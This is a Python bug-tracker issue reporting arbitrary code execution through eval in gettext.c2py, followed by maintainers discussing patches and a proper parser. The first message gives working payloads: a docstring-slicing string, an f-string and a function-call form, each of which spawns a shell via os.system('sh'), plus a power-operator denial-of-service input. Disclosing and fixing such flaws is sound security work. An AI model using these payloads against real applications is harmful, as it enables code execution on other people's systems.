Arbitrary code execution in gettext.c2py

[CarlEkerot]

BPO	28563
Nosy	@loewis, @tiran, @serhiy-storchaka, @timgraham, @zhangyangyu, @CarlEkerot
PRs	[Do Not Merge] Convert Misc/NEWS so that it is managed by towncrier #552
Files	gettext_c2py.patch gettext_c2py_func.patch: Based on Xiang Zhang's patch gettext_c2py_v2.patch gettext-parse-plural.patch gettext-parse-plural-2.patch gettext-non-integer-plural.patch gettext-non-integer-plural-2.patch

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = 'https://github.com/serhiy-storchaka'
closed_at = <Date 2016-11-14.17:39:32.157>
created_at = <Date 2016-10-30.16:58:41.674>
labels = ['type-security', 'deferred-blocker', '3.7', 'library']
title = 'Arbitrary code execution in gettext.c2py'
updated_at = <Date 2017-03-31.16:36:31.156>
user = 'https://github.com/CarlEkerot'

bugs.python.org fields:

activity = <Date 2017-03-31.16:36:31.156>
actor = 'dstufft'
assignee = 'serhiy.storchaka'
closed = True
closed_date = <Date 2016-11-14.17:39:32.157>
closer = 'serhiy.storchaka'
components = ['Library (Lib)']
creation = <Date 2016-10-30.16:58:41.674>
creator = 'Carl Ekerot'
dependencies = []
files = ['45345', '45349', '45373', '45381', '45387', '45481', '45482']
hgrepos = []
issue_num = 28563
keywords = ['patch']
message_count = 32.0
messages = ['279734', '280037', '280048', '280082', '280084', '280103', '280104', '280107', '280112', '280118', '280119', '280120', '280122', '280157', '280191', '280196', '280211', '280276', '280287', '280289', '280293', '280299', '280307', '280337', '280780', '280781', '280784', '280789', '280791', '280792', '280800', '280802']
nosy_count = 7.0
nosy_names = ['loewis', 'christian.heimes', 'python-dev', 'serhiy.storchaka', 'Tim.Graham', 'xiang.zhang', 'Carl Ekerot']
pr_nums = ['552']
priority = 'deferred blocker'
resolution = 'fixed'
stage = 'resolved'
status = 'closed'
superseder = None
type = 'security'
url = 'https://bugs.python.org/issue28563'
versions = ['Python 2.7', 'Python 3.3', 'Python 3.4', 'Python 3.5', 'Python 3.6', 'Python 3.7']

[CarlEkerot]

The c2py-function in the gettext module is seriously flawed in many ways due
to its use of eval to create a plural function:

return eval('lambda n: int(%s)' % plural)

My first discovery was that nothing prevents an input plural string that
resembles a function call:

gettext.c2py("n()")(lambda: os.system("sh"))

This is of course a low risk bug, since it requires control of both the plural
function string and the argument.

Gaining arbitrary code execution using only the plural function string requires
that the security checks are bypassed. The security checks utilize the tokenize
module and makes sure that no NAME-tokens that are not "n" exist in the string.
However, it does not check if the parser succeeds without any token.ERRORTOKEN
being present. Hence, the following input will pass the security checks:

gettext.c2py( '"(eval(foo) && ""' )(0)

----> 1 gettext.c2py( '"(eval(foo) && ""' )(0)
gettext.pyc in <lambda>(n)
NameError: global name 'foo' is not defined

It will pass since it recognizes the entire input as a STRING token, and
subsequently fails with an ERRORTOKEN.

Passing a string in the argument to eval will however break the exploit since
the parser will read the start-of-string in the eval argument as end-of-string,
and the eval argument will be read as a NAME-token.

Instead of passing a string to eval, we can build a string from characters in
the docstrings available in the context of the gettext module:

   gettext.c2py('"(eval('
       'os.__doc__[152:155] + ' # os.
       'os.__doc__[46:52] + '   # system
       'os.__doc__[318] + '     # (
       'os.__doc__[55] + '      # '
       'os.__doc__[10] + '      # s
       'os.__doc__[42] + '      # h
       'os.__doc__[55] + '      # '
       'os.__doc__[329]'        # )
       ') && ""')(0)

This will successfully spawn a shell in Python 2.7.11.

Bonus: With the new string interpolation in Python 3.7, exploiting gettext.c2py
becomes trivial:

gettext.c2py('f"{os.system(\'sh\')}"')(0)

The tokenizer will recognize the entire format-string as just a string, thus
bypassing the security checks.

To mitigate these vulnerabilities, eval should be avoided by implementing a
custom parser for the gettext plural function DSL.

[zhangyangyu]

gettext_c2py.patch tries to avoid the problem. It still uses eval but manually parse the expression using tokens extracted from gettext. Tests are passed.

But there is still a problem. Both patched and original c2py fail to handle nested ternary operator. They respect the right associative but fails to handle expressions like '1?2?3:4:5'.

[CarlEkerot]

It doesn't solve the case when an identifier or number is used as a function:

   >>> import os
   >>> gettext.c2py("n()")(lambda: os.system("sh"))
   $ 
   0
   >>> gettext.c2py("1()")(0)
   Traceback (most recent call last):
     File "<stdin>", line 1, in <module>
     File "<string>", line 1, in <lambda>
   TypeError: 'int' object is not callable

This is more of an unintended behavior than a security issue.

Xiang Zhang: I've created a patch based on yours which handles the above case. I've also added a corresponding test case.

Imo it would be even better if we could avoid eval. One possible (and safe) way would be to construct a safe subset of Python using the ast module. This would however still require that the C-style syntax is translated to Python. As you mention, there are issues parsing and translating nested ternary operators, and I doubt it will be possible to cover all cases with the regex replace utilized today.

[serhiy-storchaka]

But there is still a problem. Both patched and original c2py fail to handle nested ternary operator. They respect the right associative but fails to handle expressions like '1?2?3:4:5'.

What if make repeated replacements with regular expression r'([^?:]?)\?([^?:]?):([^?:]*)'?

[serhiy-storchaka]

It doesn't solve the case when an identifier or number is used as a function:

In the first case we should convert an argument to integer.

    ns = {}
    exec('''if True:
        def func(arg):
            n = int(arg)
            return {}
        '''.format(plural), ns)
    return ns['func']

Or raise an exception if argument is not integer.

In the second case I think we can just left it as is. This is not valid C expression.

Or we can add try/except in above code and convert TypeError to ValueError if this is more preferable exception.

[zhangyangyu]

gettext.c2py("n()")(lambda: os.system("sh"))
gettext.c2py("1()")(0)

Empty parentheses should be disallowed. Function calls are not allowed in plural expression. And non-integer argument should be disallowed either, just as Serhiy's example shows.

What if make repeated replacements with regular expression r'([^?:]?)\?([^?:]?):([^?:]*)'?

How does it work for '1?2:3?4:5'? :-( I am considering a parser.

[serhiy-storchaka]

How does it work for '1?2:3?4:5'?

'1?2:3?4:5' -> '(2 if 1 else 3)?4:5' -> '(4 if (2 if 1 else 3) else 5'

But there are other problems. Precedence of some operators is different in C and Python. Chained comparison in Python cause different result that in C (e.g. '2 == 2 == 2'). Seems there is no other way besides a simple parser.

gettext_c2py.patch itself LGTM for fixing security issue, but tests are needed. It would be nice to make c2py() working with any expressions, but if this is too hard, this can be left for other issue. I'm going to commit a variant of gettext_c2py.patch before 3.6 release if there will be not better patches.

[CarlEkerot]

Verified gettext.c2py with gettext_c2py.patch applied agains the plural forms actually used in localization, listed over at http://docs.translatehouse.org/projects/localization-guide/en/latest/l10n/pluralforms.html. I tested all of the none-trivial forms, and from what I can tell they generate valid syntax and are correct.

[zhangyangyu]

'1?2:3?4:5' -> '(2 if 1 else 3)?4:5' -> '(4 if (2 if 1 else 3) else 5'

This is not right. It's right associative so it should be

1?2:(3?4:5) -> 1?2:(4 if 3 else 5) -> 2 if 1 else (4 if 3 else 5)

It would be nice to make c2py() working with any expressions, but if this is too hard, this can be left for other issue.

Agree. But I am interested in trying.

gettext_c2py.patch itself LGTM for fixing security issue, but tests are needed.

It gets drawbacks so I don't include tests. I'll add in next try.

[tiran]

The gettext module might be vulnerable to f-string attacks, too. Also see bpo-18317.

[CarlEkerot]

The gettext module might be vulnerable to f-string attacks

It is. See the example in the first comment:

gettext.c2py('f"{os.system(\'sh\')}"')(0)

This vulnerability seems to be solved in Xiang's patch. The DoS aspect is interesting though, since there's no constraints against malicious use of the power-operator, say "9**9**9**..**9". This too would be solved by implementing a parser with only simple arithmetics.